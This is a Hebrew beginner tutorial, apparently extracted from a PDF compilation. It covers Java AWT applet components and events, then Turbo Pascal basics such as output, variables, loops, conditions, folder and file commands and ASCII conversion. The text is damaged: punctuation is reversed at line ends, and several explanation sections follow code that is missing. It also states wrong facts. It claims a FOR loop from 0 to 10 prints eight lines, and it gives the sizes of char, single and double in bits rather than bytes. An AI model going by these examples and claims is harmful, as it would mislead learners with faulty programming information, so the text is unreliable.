טוב ,בשורה ראשונה אנחנו מוסיפים את ממשק המשתמש Awtלתוך התוכנית שלנו.
לאחר מכן אנחנו יוצרים יישומון ,ויוצרים משתנה חדש בשם ,captionומגדירים
אותו בתור משתנה טקסטואלי שבעצם יהיה כתוב בו משהו (המילים בין המרכאות).
לאחר מכן אנחנו יוצרים כפתור חדש בשם ,coolButtonוהכתובת עליו תהיה
המשתנה שיצרנו (המשתנה הטקסטואלי) .לאחר מכן אנחנו יוצרים את הפונקצייה
שנקראת initשאופיינית ליישומונים ,ובה אנחנו הופכים את הכפתור שהגדרנו
לרכיב על המסך (חלון היישומון).
סוגי הרכיבים
ישנם המון סוגים של רכיבים ביישומון .כאן אני אציין את העיקריים ביניהם:
528
כפתור
ידוע בשם .Buttonכפתור ,המשמש בעיקר לשליחת מידע וטיפול מתאים במידע
שקיבל .משומש בעיקר על ידי לחיצה יחידה עליו בעזרת העכבר .צריך לציין
בתוכו את הכתוב עליו.
תווית
ידועה בשם .Labelהתווית ,בניגוד לתיבת טקסט ,בדרך כלל איננה ניתנת
לעריכה ישירות בזמן הריצה ,ולכן השימוש העיקרי של התוויות הוא בעצם להציג
טקסט על המסך (אינפורמצייה) .צריך לציין את הכתוב עליה ,ויש גם אפשרות
לציין לאן יהיה יישור הטקסט ,הידוע גם בשם .Align
תיבת סימון
ידועה גם בשם .Check Boxתיבת הסימון משמשת בעיקר לבחירת אופצייה אחת
מתוך מספר אופציות .עם תיבות הסימון משומשים גם בדרך כלל מיכלים רבים,
מכיוון שרק אופצייה אחת יכולה להבחר במיכל אחד .צריך לציין את הטקסט
שיהיה ליד התיבה .עוד אפשרות להפרדת קבוצות של תיבות סימון היא יצירת
אובייקט מסוג .CheckboxGroup
529
שמכיל את הטקסט שמצויין כפרמטר.
תיבת טקסט
ידועה גם בתור ,TextFieldאו .Textboxתיבת טקסט היא טקסט הניתן בדרך כלל
לעריכה על ידי המשתמש בזמן ההרצה של היישומון .אפשר להשתמש בקונסרקטור של
תיבת הטקסט בתוך כמה אופציות .אופצייה ראשונה היא שימוש בתיבת טקסט לא
מוגדרת וריקה .כדי לבנות אחת כזאת נציין ,TextFieldבלי ארגומנטים .עוד
אופצייה היא יצירת תיבת טקסט ריקה אבל עם הגבלה למספר התווים בתוכה .הערה
טובה היא שהגודל בזכרון שתופס טקסט מסויים בביטים הוא מספר התווים בתוכו,
כך שעדיף להיות ספציפיים ולהגביל את גודל הטקסט בתוך תיבות טקסט ,בעיקר
מסיבות של חסיכת זיכרון ומהירות היישומון .אופצייה נוספת היא ציון הטקסט
שיהיה כבר בתחילת התוכנית בתוך תיבת הטקסט .מציינים את הטקסט ההתחלתי על
ידי שימוש בארגומנט טקסטואלי .אפשר להשתמש בשתי האופציות ,על ידי ציון
הטקסט ההתחלתי ולאחר מכן ציון הגבלת התווים ,כשני פרמטרים .פונקצייה טובה
ומשומשת הרבה בתיבות טקסט ,בעיקר להזנת סיסמאות ,היא שימוש בתו מסויים
אחיד שמסתיר סיסמאות מעיני המשתמש (כמו למשל בוינדוס ,סיסמאות מוחבאות על
ידי שימוש בכוכביות כאלה .)******* :אפשר להגדיר כל תו שתרצו ,לאו דווקא
כוכביות ,על ידי הכנסת הארגומנט בפונקציית .setEchoCharacterבגרסאות
מאוחרות יותר של ג'אווה הפוקנצייה היא .setEchoCharישנם גם פונקציות
לשליטה בתיבת הטקסט עצמה ,כמו למשל ,פונקציית getTextשמחזירה את הטקסט
שתיבת הטקסט מכילה ,או פונקציית ,setTextשממלאת את תיבת הטקסט על ידי
שימוש בארגומנט הטקסטואלי של הפוקנצייה ,או פונקציית isEditableשמחזירה
אם אפשר לערוך את תיבת הטקסט או לא ומחזירה ערך בוליאני ,או פונקציית
setEditableשקובעת האם ניתן לערוך את תיבת הטקסט ,על ידי שימוש בפרמטר
בוליאני.
אזור טקסט
ידוע בשם .TextAreaתפקידו זהה לתפקיד תיבת הטקסט ,אבל השוני הוא שאזור
הטקסט יכול להכיל יותר משורת טקסט אחת .לאזורי הטקסט יש פסי גלילה לאורך
ולרוחב ,שמאפשרים לבצע גלילה על הטקסט שבתוך אזור הטקסט .כדי לעשות שימוש
בירידת שורה באזור טקסט בתוך קוד המקור של היישומון ולא בזמן ההרצה שלו,
משתמשים בסלאש ואז באו האנגלית nקטנה (כמו בשפת סי).
פס גלילה
נקרא גם .ScrollBarמאפשר בחירת ערך על ידי הזזת תיבה בין שני חצים .פס
גלילה יכול להיות אופקי או אנכי .אפשר להשתמש באחד מהקונסטרקטורים שאני
אציין עכשיו כדי ליצור פס גלילה .אפשר להשתשמש בקונסרקטור Scrollbarבלי
ארגומנטים ,שפשוט יוצר פס גלילה אנכי עם ערך מינימלי ומקסימלי בעלי הערך
אפס .אפשר להשתמש בארגומנט המגדיר את הכיוון של פס הגלילה ,על ידי הוספת
המילה Scrollbar.HORIZONTALאו הוספת ,Scrollbar.VERTICALתלוי בכיוון
שאנחנו רוצים את פס הגלילה .האפשרות הכי טובה לשימוש בקונסטרקטור לדעתי,
היא השימוש המלא ,בעל חמישה ארגומנטים :ארגומנט ראשון לקביעת כיוון פס
הגלילה (כמו שכבר ציינו למעלה) ,הארגומנט השני ,שהוא הערך ההתחלתי של פס
הגלילה (שאסור לו להיות קטן מהערך המינימלי או גדול מהערך המקסימלי של פס
הגלילה ,שאותם נקבע בארגומנטים הבאים) ,ארגומנט שלישי ,שמציין את הרוחב
או האורך של פס הגלילה (כתלות בכיוון פס הגלילה) ,הארגומנט הרביעי ,שבו
אנחנו נציין את הערך המינימלי של פס הגלילה ,והארגומנט החמישי ,שבו אנחנו
נציין את הערך המקסימלי של פס הגלילה.
משטח ציור
ידוע גם בשם .Canvasמשמש בעיקר להצגת תמונות או אנימצייה .כדי להשתמש
במשטח הציור ,אנחנו ניצור תת מחלקה של מחלקת .Canvasכל פעולות הציור
יהיו על אחריותה של תת המחלקה ,בעזרת פונקציית .paint
530
שימוש באירועים
ישנם הרבה סוגים של אירועים .אירועים הם בעצם פעולות של המשתמש בדרך כלל.
הנה כמה סוגי אירועים מרכזיים ביישומון ג'אווה:
לחיצה על מקש
ידועה גם בשם ,Key Pressאו .Key Pressedהלחיצה על המקש היא פשוטה :זה
בעצם תגובה ללחיצה על מקש מהמקלדת.
לחיצה על העכבר
ידועה גם בשם .Mouse Clickלחיצה מחולקת לכמה חלקים .החלק הראשון הוא מצב
שבו העכבר לחוץ ( ,)Mouse Downשחרור העכבר ( ,)Mouse Upוהמצב שבו בעצם
העכבר כבר נלחץ ( .)Mouse Clickedבאירוע זה יש לחיצה על העכבר ושחרור שלו
באותה הנקודה.
תנועה של העכבר
ידועה גם בשם ,Mouse Moveאו .Mouse Movementsהאירועים הם כניסת הסמן של
העכבר לתוך שטח מסויים או גרירה של העכבר (.)Drag
אירועי הממשק
לחיצה על לחצן ,הופעת תפריט מוקפץ ,גלילת פס גלילה ,שינוי טקסט באזורי
טקסט וכדומה.
}
הסברים
שתי הפונקציות ,גם MouseDownוגם ,MouseUpמשתמשות על ידי שלושה פרמטרים:
האירוע עצמו ,ושתי קורדינטות ,קורדינטת xוקורדינטת ,yשביחד יוצרות לנו
את הנקודה שבה נלחץ העכבר .הפרמטר evtהוא אובייקט של המחלקה .Eventכל
האירועים גורמים להיווצרות של אובייקט של מחלקת ,Eventשמכיל מידע על
המיקום והזמן שבו האירוע התרחש וגם את סוג האירוע.
531
} )public boolean mouseDown(Event evt, int x, int y
{ )if (evt.clickCount == 3
;)"!System.out.println("Well, that was a triple click
}
;return false
}
הסברים
פה ,בתוך אירוע לחיצה על העכבר ,אנחנו מציבים תנאי .פה אנחנו אומרים שאם
הייתה לחיצה משולשת (אם המונה הגיע לשלוש) ,אז יהיה פלט שיגיד משהו .דרך
אגב println ,פועל אחרת ביישומונים :באינטרנט אקפלורר הוא שומר את הפלט
בתוך קובץ ,ובנטסקייפ הוא מציג חלון חדש ,חלון קונסול שנקרא גם טרמינל,
שבו יוצג הפלט.
הסברים
טוב ,אין הרבה מה להסביר ,היישומון לוקח את תנועות העכבר ומציג בעצם את
הקורדינטות של העכבר .הנה אותה תוכנית ,אבל הפעם לא עם תנועת עכבר רגילה,
אלא עם תנועת עכבר לחוץ (גרירה של העכבר):
532
להגדיר את הפוקוס על האובייקט .ניתן לעשות זאת באמצעות פוקנצייה חסרת
ארגומנטים ,שנקראת .requestFocusהנה דוגמא לשימוש בפוקוס:
;*.import java.awt
הסברים
ביישומון זה אנחנו יוצרים כפתור חדש ,ועושים עליו פוקוס על ידי קריאה
לפונקציית .requestFocusטוב ,עכשיו כשאנחנו יודעים לעשות פוקוס ,אפשר
לעבור לאירועי המקלדת:
הסברים
טוב ,פה אנחנו משתמשים באירוע לחיצת המקש ,ומציגים את ערך האסקיי של המקש
שנלחץ ,ולאחר מכן את האות שנלחצה (הצגת התו השייך לערך האסקיי).
הסברים
יישומון זה בעצם אומר שאם לחצנו על מקש ,Homeיהיה פלט .אם לא לחצנו על
המקש ,התנאי לא התקבל ,ולכן לא תהיה שום תגובה מהיישומון.
}
533
הסברים
פה אנחנו מקבלים שני ארגומנטים ,את האירוע שמתבצע ,וגם את האובייקט שעליו
מבוצע האירוע .הדבר הראשון שנעשה בתוך פונקציית ,actionהוא לבדוק על
איזה אובייקט בוצע האירוע .כדי לבדוק על איזה אובייקט בוצע האירוע ,אפשר
להשתמש באופרטור instanceofככה:
הסברים
טוב ,כאן רק תיבת טקסט או תפריט בחירה יכולים להיות בפונקציית .action
הפונקציות handleTextוגם handleChoiceהם לא פונקציות שתוכננו בתוך ממשק
המשתמש ( ,)Awtאלא יוכלו לשמש כפונקציות שנוצרו על ידי המתכנת בהמשך קוד
המקור.
מילים לסיום
אני מקווה שעכשיו ,בעזרת הידע שלכם ,אתם יכולים ליצור יישומונים מלאים,
דינאמיים ואינטראקטיביים .אני ממליץ בענק להשתמש בעורך JBuilder 2של
בורלנד ,שכוללת עורך נוח עם סביבה קלה לשימוש ,וגם קומפיילר .אשמח לקבל
תגובות על הטקסט .שלכם,
Crossbow
534
TORBO PASCAL
טוב ,היום נלמד קצת על אחת משפות התכנות היותר חזקות ,ששמות יותר דגש על
התיכנות עצמו ,ופחות דגש על הגרפיקה .נלמד היום את הדברים הבסיסיים ביותר
בשפה האדירה הזאת...
פסקל הוא כמו סי פלוס פלוס בגרסא מתקדמת יותר ...בשפת פסקל בונים דברים
בסיסיים והתחלתיים ,ממשקים למערכות הפעלה למשל .לפסקל אין גרפיקה טובה
כמו לויזואל בייסיק ,אבל אין לה גם את האפשרויות המוגבלות מאוד שיש בשפת
קוויק בייסיק .פסקל היא שפה שהיעד שלה הוא אם אס דוס .פסקל היא שפה קלה,
לא דורשת מחשבה רבה מדי ,ובעלת אפשרויות אינסופיות כמעט.
מתחילים
טוב ,לי יש בבית את טורבו פסקל שבע ,שבאופן אישי לדעתי היא הגרסא הכי
טובה של שפת פסקל .אפשר להוריד בחינם את טורבו פסקל .מי שרוצה יכול לשאול
אותי ,או לחפש באתר של גוגל .עכשיו ,פתחנו את פסקל .יש לנו מסך כחול כזה,
שמחולק לתפריטים למעלה ,לחלון הכחול מתחתיו ,ואפילו יש לנו שורת קיצורי
דרך ועזרה למטה .עכשיו ,לפסקל יש כמה כללים:
535
האפליקצייה הראשונה שלנו
טוב ,אחרי שאנחנו יודעים בערך מה זה פסקל ,ואת החוקים הבסיסיים שלה ,אפשר
להתחיל .תפתחו את פסקל ,אם עדיין לא פתחתם .עכשיו ,כמו שכתוב בהחוקים
למעלה ,נכתוב בשורה הראשונה הצהרה לתוכנית שהתוכנית מתחילה עכשיו ,זאת
אומרת ,נכתוב ,BEGINונרד שורה על ידי לחיצה על אנטר .הדבר הבא שנעשה,
הוא הקוד עצמו של התוכנית .אנחנו רוצים שיהיה כתוב לנו משהו .נגיד שאנחנו
רוצים שיהיה כתוב לנו " ."This is my first applicationנשתמש בפקודה מאוד
מרכזית ובסיסית ,ששמה הוא ,Writeשבעצם כותבת לנו משהו על המסך .דומה קצת
לפקודה printfבסי ,למי שמכיר .עכשיו ,נכתוב בגרשיים ,את הטקסט שאנחנו
רוצים .השורה המלאה תראה ככה (קונטרול ושיפט כדי להבין):
אחרי זה נכתוב את הסיום של התוכנית ,יעני המילה ENDעם נקודה אחריה .כל
התוכנית שלנו תהיה (קונטרול ושיפט עוד פעם):
BEGIN
;)'Write ('This is my first application
.END
עכשיו ,אנחנו יכולים לנסות להריץ בלי לקמפל ,אבל אנחנו לא נראה כלום ,כי
ההרצה הרגילה בנויה כך שיש הרצה של מה שכתבנו ,ואז יציאה אוטומטית ,זאת
אומרת שעד שלא אמרנו לתוכנית לעצור ולחכות ,היא לא תחכה ...אז לחצו על
שני המקשים Altוגם על .F9יופי .עכשיו ,צאו מפסקל ,וכנסו לתיקיית פסקל.
עכשיו ,תחפשו בתוך התיקייה קובץ ששמו .NONAME00.EXEתפתחו אותו .אם עשיתם
הכל נכון ,צריך להיות כתוב לכם " ."This is my first applicationסחתיין,
בניתם תוכנית! דרך אגב ,אם רוצים לכתוב גרש ,נגיד ,That's itנכתוב שני
גרשיים ,כאילו (קונטרול ושיפט):
נגיד שאנחנו רוצים לכתוב שורה אחרי שורה ...מה נעשה? יש שתי אותיות שאפשר
להוסיף לפקודת קריאה וכתיבה .האותיות הן ,Lnקיצור של .Lineטוב ,אז נעשה
תוכנית כזאת (קונטרול ושיפט):
BEGIN
;)'WriteLn ('This is the first line
;)'WriteLn ('And this is the second line
.END
536
משתנים ופקודות קריאה
טוב ,תכתבו הצהרת התחלה לתוכנית .BEGIN :נגיד שאנחנו רוצים לעשות מחשבון,
למשל .המחשבון הזה ייקח שני מספרים מהמשתמש ,ויראה חיבור ,חיסור ,כפל וגם
חילוק .הנה התוכנית ,ואחריה הסברים (שוב קונטרול ושיפט):
VAR
;VarX, VarY: longint
BEGIN
;)':WriteLn ('Ok, Here is our calculator
;)' :Write ('Enter the first number
;)ReadLn (VarX
;)' :Write ('Enter the second number
;)ReadLn (VarY
;)WriteLn ('X + Y = ', VarX + VarY
;)WriteLn ('X - Y = ', VarX - VarY
;)WriteLn ('X * Y = ', VarX * VarY
;)WriteLn ('X / Y = ', VarX / VarY
.END
הסברים
החלק ראשון
החלק השני
החלק השלישי
סוג משתנה .הצהרה על סוג המשתנה .בפסקל יש נקודותיים אחרי שם המשתנה ,ואז
מגיע הסוג .היתרון הגדול של ויזואל בייסיק על פסקל הוא שבויזואל בייסיק
יש את האפשרות להשאיר משתנה ריק ,בלי להגדיר את הסוג שלו.
537
סוגים של משתנים
:integerמספר מלא.
:longintמספר מלא ארוך.
:stringמחרוזת ,טקסט.
:booleanמחזיר נכון או לא נכון.True Or False ,
:singleמספר יחיד ,שוקל 4ביט.
:doubleמספר כפול ,שוקל 8ביט.
:textטקסט ,מאוד שימושי ,דומה לסטרינג.
:fileמשתנה קובץ.
:charצ'אר מסויים ,קוד אסקיי ,שוקל ביט אחד.
כמובן שזה חלק מאוד קטן מסוגי המשתנים .המשתנים פה הם השימושיים ביותר.
כמו שצויין למעלה ,פסקל משתמשת בקבצים חיצוניים ,מה שהופך אותה לשפה עם
אפשרויות אינסופיות .קבצים אלו הם עם סיומת ,tpuוהם מקבילים לקבצים של
ויזואל בייסיק ,עם סיומת ,ocxאו לקבצים של סי ,סיומת .h
עכשיו ,פסקל באה עם מספר קבצים חיצוניים ,כמובן שאפשר להוריד עוד מלא
מהאינטרנט .בתוך תוכנית הפסקל צריך לציין באיזה קובץ אנחנו משתמשים .הנה
דוגמא לקוד קצר שנותן צבע לטקסט ,ומשתמש בקובץ חיצוני (קונטרול ושיפט):
;USES Crt
BEGIN
;)TextColor(9
;)'WriteLn ('Here is the colored line
.END
טוב ,פה אנחנו משתמשים בקובץ שאחראי בעיקר לפעולות גרפיקה ,בעיקר יש דגש
על צבע .הנה קצת הסברים:
שימוש בלולאות
טוב ,הגיע הזמן לחלק החשוב בתיכנות :לולאות!!! לולאה בתיכנות ( ,)Loopהיא
חזרה מסויימת על פקודה .יש סוגים שונים של לולאות בכל שפה .היום נלמד רק
שתיים :לולאת פור (הגבלה במספר) ,ולולאת ריפיט (הגבלה בתנאי).
לולאת פור
הלולאה מורכבת ממספר חלקים .חלק המציין את הסוג של הלולאה ,משתנה עולה,
מספר התחלתי של המשתנה ,מספר סופי של המשתנה ,ואז התחלת הלולאה ,הקוד של
הלולאה ,ולבסוף סיום הלולאה .קצת מסובך ,אבל נסתדר( .קונטרול ושיפט):
VAR
538
;Xxx: integer
BEGIN
FOR Xxx := 0 TO 10 DO
BEGIN
;)WriteLn ('Loop number ', Xxx
;END
.END
קצת הסברים
טוב ,אם הבנתם קצת ,זה בעצם מראה לנו את מספר הלולאה .תקמפלו ותריצו .כדי
לא לבלבל ,בתוכנית ייכתבו שמונה שורות ,וזה בגלל שהלולאה כוללת את אפס.
לולאת ריפיט
גם הלולאה הזאת מורכבת ממספר חלקים .הצהרה על סוג הלולאה ,קוד הלולאה,
ולבסוף תנאי .לחצו על קונטרול ושיפט (זה לא מתחיל להמאס הקונטרול ושיפט?)
VAR
;Xxx:integer
BEGIN
REPEAT
;)WriteLn ('Loop number ', Xxx
;Xxx := Xxx + 1
;UNTIL Xxx = 8
.END
הסברים
טוב ,מי שיקמפל ויריץ ,ייגלה שבעצם יש לנו את אותה תוצאה בשני סוגים של
לולאות .הלולאה הראשונה אומרת לתוכנית ככה :תיקח את המשתנה ,תשווה אותו
לאפס ,תעלה אותו כל פעם באחד עד שהוא מגיע לשבע ,ובינתיים תעשה את הקוד
של הלולאה .הלולאה השנייה אומרת לתוכנית ככה :תכניס חזרה כל פעם ,תעלה את
המשתנה באחד כל חזרה ,וכשהמשתנה מגיע לשמונה תפסיק את החזרה .שתי הלולאות
נותנות את אותה תוצאה ,אך הן לא דומות אפילו .הלולאה פור מתייחסת לטווח
מספרים ,והלולאה ריפיט מתייחסת לחזרה עד שתנאי מסויים מתקיים ,או כל עוד
תנאי מסויים מתקיים.
539
הפקודה קריאת מקש
טוב ,קריאת מקש היא פקודה מקובץ חיצוני ,פקודה חשובה לאללה .הפקודה נגזרת
מהקובץ החיצוני ,Crt.tpuודומה מאוד לפקודת קריאה .ההבדל הוא ,שבפקודת
קריאה אמרנו לתוכנית לחכות להכנסה של משהו מהמשתמש באמצעות המקלדת ,ואחרי
זה שהמשתמש יכניס אנטר .עד שאנטר לא נלחץ ,התוכנית לא ממשיכה .קריאת מקש
לא מחכה לאנטר ,אלא קוראת את המקש הראשון החוקי שהמשתמש לחץ עליו .הנה
דוגמא קטנה לשילוב של לולאת ריפיט לבין קריאת מקש (קונטרול ושיפט):
;USES Crt
VAR
;KeyYeah:char
BEGIN
REPEAT
;KeyYeah := ReadKey
;)'UNTIL (KeyYeah = 'Y') OR (KeyYeah = 'y
.END
הסברים
לכל מי שלא הבין :התוכנית מקבלת תמיד את המקש שנלחץ ,ומשווה את המשתנה אל
המקש שנלחץ .התוכנית לא תמשיך עד שהמקש ( Yאות גדולה) או ( yאות קטנה)
נלחצה על ידי המשתמש.
תנאים
טוב ,כבר די התעסקנו בזה ,אבל זה חלק חשוב בכלל בתיכנות ,אז שיהיה .תנאי
הוא בעצם חלק תיכנותי המורכב מהצהרה על התחלת התנאי ,התנאי עצמו ,התוצאה
אם התנאי מתקיים ,ויש אפשרות להכניס גם מה קורה אם התנאי לא מתקיים .הנה
תוכנית קטנה לתנאי (קונטרול ושיפט שוב):
VAR
;Yyy: longint
BEGIN
;)ReadLn (Yyy
IF Yyy = 544 THEN
BEGIN
;)'WriteLn ('This is the right password
END
ELSE
BEGIN
;)'WriteLn ('This is the wrong password
;END
.END
540
הסברים
למי שעוד פעם לא ממש הבין :התוכנית קוראת מהמשתמש מספר .אם המספר שהכנסנו
הוא ,544אז התוכנית תכתוב שזאת הסיסמא הנכונה ,אבל אם הכנסנו משהו אחר
מהמספר ,544אז התוכנית תכתוב שזאת הסיסמא הלא נכונה.
ניקוי מסך
;USES Crt
BEGIN
;)'.WriteLn('This line won't be seen by the user
;ClrScr
.END
הסבר
טוב ,פה גם נשתמש בקובץ חיצוני ,עוד פעם ,Crt.tpuשאחראי על גרפיקה .טוב,
קצת הסברים :חלון גרפי זה חלון בעל צבע אחורי מסויים ,שבעצם "עולה" על
הרקע או על חלון אחר .חלון זה מתפקד לבד אחרי שהכנסנו אותו .לפקודה שבה
מכניסים חלון יש שתי נקודות .כל נקודה מורכבת משני מספרים על הפלטפורמה
הגרפית X ,וגם .Yהנקודה הראשונה היא החלק השמאלי העליון של החלון ,ויש
גם את הנקודה התחתונה ,שהיא החלק הימני התחתון של החלון .לפני הגדרתו של
החלון יש לציין צבע אחורי .אם לא הגדרנו ,החלון יהיה שחור ,ואז לא ייראו
אותו .אחרי הגדרת החלון יש לעשות ניקוי מסך .הנה דוגמא לחלון ,שצבעו כחול
וצבע הטקסט שלו הוא לבן (קונטרול ושיפט):
;USES Crt
BEGIN
;)TextBackground (9
;)TextColor (15
;)Window (5,5,10,10
;ClrScr
.END
541
הסברים
שימוש בפרוצדורות
פרוצדורה היא כמו רצף של פקודות נפרדות .הפרוצדורות נוחות מאוד ,עושות
למתכנת קצת סדר בראש ,וקלות לתיכנות .הפרוצדורה מורכבת מהצהרה על התחלתה
של הפרוצדורה שמה של הפרוצדורה ,הקוד של הפרוצדורה ,והצהרה על הסיום .הנה
דוגמא טובה לקוד עם פרוצדורות (קונטרול ושיפט):
;USES Crt
;PROCEDURE CreateWindow
BEGIN
;)TextBackground (9
;)TextColor (15
;)Window (1,1,80,25
;ClrScr
;END
BEGIN
;CreateWindow
;)'!!!WriteLn ('It works
.END
הסברים
עבודה עם תיקיות
טוב ,הגיע הזמן לעבוד עם דברים מחוץ לתוכנית .הפקודות שנלמד יהיו מחיקה
של תיקייה ריקה ,יצירת תיקייה ,שינוי מעבר ,והשגת מעבר.
542
מחיקת תיקייה ריקה
תיצרו תיקייה ריקה בכונן סי אצלכם .אם אתם לא יודעים איך ,אז תלחצו על
התחל ,הפעלה ,תיכתבו MkDir C:\Justותלחצו אנטר .התיקייה תהיה בכונן סי,
ויקראו לה .Justסתם שם מקרי .עכשיו ,תיכנסו לפסקל .תיכתבו את הקוד הבא
ודרך אגב ,תלחצו גם עכשיו על קונטרול ושיפט כדי להבין מה הולך פה:
BEGIN
;)'RmDir ('C:\Just
;)'.WriteLn ('C:\Just has been deleted
.END
הסברים
האמת היא שיש עוד פקודה למחיקת תיקייה ריקה ,ששמה .RemoveDirאין לי מושג
למה יש שתי פקודות עם תוצאה זהה באותה שפת תיכנות ,אבל שתיהן טובות.
זה בדיוק אותו דבר כמו מחיקה ,אבל הצהרה אחרת .הנה זה (קונטרול ושיפט):
BEGIN
;)'MkDir ('C:\Just
;)'.WriteLn ('C:\Just has been created
.END
הסברים
השגת מעבר
טוב ,מעבר נקרא באנגלית ,Pathזה התרגום הכי טוב שמצאתי לזה ...עכשיו,
מעבר מתפקד בתור תיקייה עכשיוות ,יעני איפה הניווט עכשיו .הנה הקוד המלא
להשגת מעבר וכתיבתו (קונטרול ושיפט):
;USES Dos
VAR
;CurrentDir: string
BEGIN
;)GetDir (0, CurrentDir
;)WriteLn (CurrentDir
.END
543
הסברים
הבנתם בערך? אני מקווה שכן .עכשיו ,נעשה בדיוק ההפך מקבלת מעבר.
שינוי מעבר
טוב ,אני לא אאריך בדיבורים פה .יהיו כמובן הסברים ,ישר אחרי הקוד מקור
הבא (קונטרול ושיפט):
BEGIN
;)'ChDir ('C:\Windows
.END
הסברים
עבודה עם קבצים
טוב ,זה הרבה הרבה הרבה יותר מסובך מעבודה עם תיקיות .הדברים שנלמד יהיו
יצירת קובץ ,פתיחת קובץ ,סגירת קובץ ,שינוי קובץ ,קריאה מתוך קובץ ואפילו
הרצת קובץ.
יצירת קובץ
VAR
;NewFile: text
BEGIN
;)'Assign (NewFile, 'C:\NewFile.txt
;)Rewrite (NewFile
;)Close (NewFile
.END
הסברים
544
קצת על פקודות של קבצים
פקודות ששולטות בקבצים בשפת פסקל ,יכולות לשלוט רק על ידי הכנסת משתנה.
לדוגמא ,אתה לא יכול לפתוח את ,C:\Autoexec.batאלא אתה יכול רק לפתוח
משתנה .אז מה עושים? בשביל זה נוצרה הפקודה ,Assignשתפקידה להפוך את
המשתנה לקובץ .הפקודה Assignבנויה משני חלקים :המשתנה שייהפך לקובץ,
והמעבר המלא של הקובץ שבו אנחנו רוצים לשלוט.
טוב ,אתם תצטרכו את הקובץ שיצרנו מקודם .זה הולך ככה (קונטרול ושיפט):
VAR
;CoolFile: text
BEGIN
;)'Assign (CoolFile, 'C:\NewFile.txt
;)Reset (CoolFile
;)'WriteLn (CoolFile, 'Ok, This is my text
;)Close (CoolFile
.END
הסברים
אוקי ,עכשיו נוציא מקובץ את הטקסט שבתוכו לפלט על המסך .אז תלחצו קונטרול
ושיפט ,כדי להבין .אתם תצטרכו שוב את הקובץ ממקודם:
VAR
;FileX: text
;FileText: string
BEGIN
;)'Assign (FileX, 'C:\NewFile.txt
;)Reset (FileX
;)ReadLn (FileX, FileText
;)Close (FileX
;)WriteLn (FileText
.END
הסברים
545
:FileX: textמשתנה שיהווה את הקובץ ממקודם.
:FileText: stringמשתנה שיהווה את הטקסט בתוך הקובץ.
:ReadLnקורא שורה מהקובץ ומכניס אותה למשתנה.
:WriteLnכותב את השורה ,אחרי שהקובץ נסגר.
הרצת קובץ
טוב ,זה ממש ממש קל .פה נשתמש בקובץ חיצוני .Dos.tpu ,לחצו על קונטרול
ושיפט כדי לקלוט:
הסברים
שימוש באסקיי
אסקיי ,למי שלא יודע ,הוא תבנית סידורית לתו ששוקל ביט אחד .לדוגמא ,ערך
האסקיי של הסמל © הוא .169לפי זה ,אפשר להבין שכאשר אנחנו משתמשים בקוד
אסקיי ,יהיו לנו שתי פקודות :להפוך מספר למסל ,ולהפוך סמל למספר.
טוב ,הפקודה עצמה דומה מאוד לשפות תיכנות אחרות .תלחצו על קונטרול ושיפט,
ואז תנסו להבין:
BEGIN
;))WriteLn (Chr(112
.END
הסבר
BEGIN
;))'WriteLn (Ord('p
546
.END
הסבר
טוב ,אם הגעתם עד לפה ,והצלחתם הכל ,והכי חשוב -הבנתם הכל (!) ,אתם כבר
בטח מתים מכאב ראש כמו מיגרנה ענקית על הבוקר ,פסקל יצא לכם מכל החורים
בגוף ,כולל החורים בין הרגליים ,אבל אין מה לעשות ,תיכנות יכול להיות
סבבה ,אבל הוא גם לא קל כל כך ...הכתבה הזאת ,מוקדשת בענק לפטשר ,שבגלל
סיבה כלשהי לא נשמע ממנו הרבה זמן ,ופטשר ,אם אתה קורא את זה עכשיו ,אז
היה סבבה איתך ,ותשמור על עצמך אחי ...הכתבה הזאת כמובן שייכת רק רק לי,
אין לאף אחד זכות לגנוב ,במיוחד לא לליימרים שלא יודעים לתכנת ,ואני שונא
סופים עצובים ...אה כן ,שכחתי דבר אחד :תלחצו קונטרול ושיפט ...סתאאאם!!!
אז יאללה ,כל מי שרוצה לדבר איתי על תיכנות וכאלה ,למי שבאמת צריך עזרה,
יכול לתפוס אותי באי מייל או אייסיקיו ,ואני מקווה שתסתדרו ...טוב ,אז
אוהב את כולכם ,אחים שלי,
Crossbow
547
שגיעות בפסקל
טוב ,אני מקווה שקראתם את הכתבה הקודמת על השגיאות בפסקל ,כי היום אנחנו
נסתמך קצת על ידע קודם .היום אנחנו נעבוד על תוצאת קלט -פלט .עכשיו ,מה
זה קלט ופלט? קלט זה מה שהמחשב מקבל .לדוגמא ,בתוכנית פסקל אנחנו נותנים
למשתמש ללחוץ על מקש .הלחיצה על המקש היא הקלט (במקרה שהגדרנו משתנה
כלשהו שיקלוט את הלחיצה ,אם לא אז הקלט הוא אפס ,ובעצם "נזרק" מהזכרון).
הנה דוגמא לקלט אופייני בתוכנית פסקל (לחצו על קונטרול ושיפט):
;PROGRAM CoolInput
;USES Crt
;VAR CoolCh:char
BEGIN
;CoolCh := ReadKey
.END
הקלט הוא בדרך כלל משתנה לא קבוע .גם בתוכנית הזאת ,הקלט הוא משתנה שכמו
שהוא נקרא -משתנה .הוא יכול להיות מקש ,Aאו מקש ,Bאו מקש .Cיש מבין?
עכשיו ,בואו נעבור לפלט .פלט הוא מה שהמשתמש כן רואה .הנה תוכנית פשוטה
מאוד מאוד מאוד בפסקל שנותנת פלט סטנדרטי לא משתנה (קונטרול ושיפט):
;PROGRAM CoolOutput
BEGIN
;)'.WriteLn ('Ok, This is the standard output
.END
פה הפלט הוא לא משתנה ,הוא טקסטואלי ,הוא קבוע ,הוא כבר נמצא בתוך הקוד
מקור עצמו .אפשר גם לעשות פלט משתנה שבעצם נגזר מקלט משתנה .הנה דוגמא
לקלט סטנדרטי משתנה (קונטרול ושיפט):
;PROGRAM CoolOutput
;USES Crt
;VAR CoolCh:char
BEGIN
;CoolCh := ReadKey
;)WriteLn ('You pressed ', CoolCh
.END
548
הסבר
פה יש לנו קלט (משתנה ,שיהיה המקש שעליו לחץ המשתמש) ,ושני סוגי פלט ,לא
משתנה ואחריו משתנה ,באותה שורה .מה שהתוכנית הקטנה הזאת עושה הוא פשוט
להכניס לתוך משתנה את המקש שנלחץ ,להציג את הפלט ,You pressedואחריו
לכתוב פלט משתנה (את המשתנה בצורה טקסטואלית).
אז בואו נניח שיש לנו שגיאה מסויימת של קלט או פלט .הנה תוכנית פשוטה
שמחזירה שגיאה מספר ( 200השגיאה האהובה עליי :חילוק באפס) .טוב ,כמובן
תלחצו על קונטרול ושיפט:
;PROGRAM DivideZiro
;VAR X, Y:shortint
BEGIN
;X := 7
;Y := 0
;)WriteLn (X / Y
.END
אם תנסו להריץ תגיעו לשגיאה .אז ,איך נפתרים ממנה? פשוט מאוד!!! אנחנו
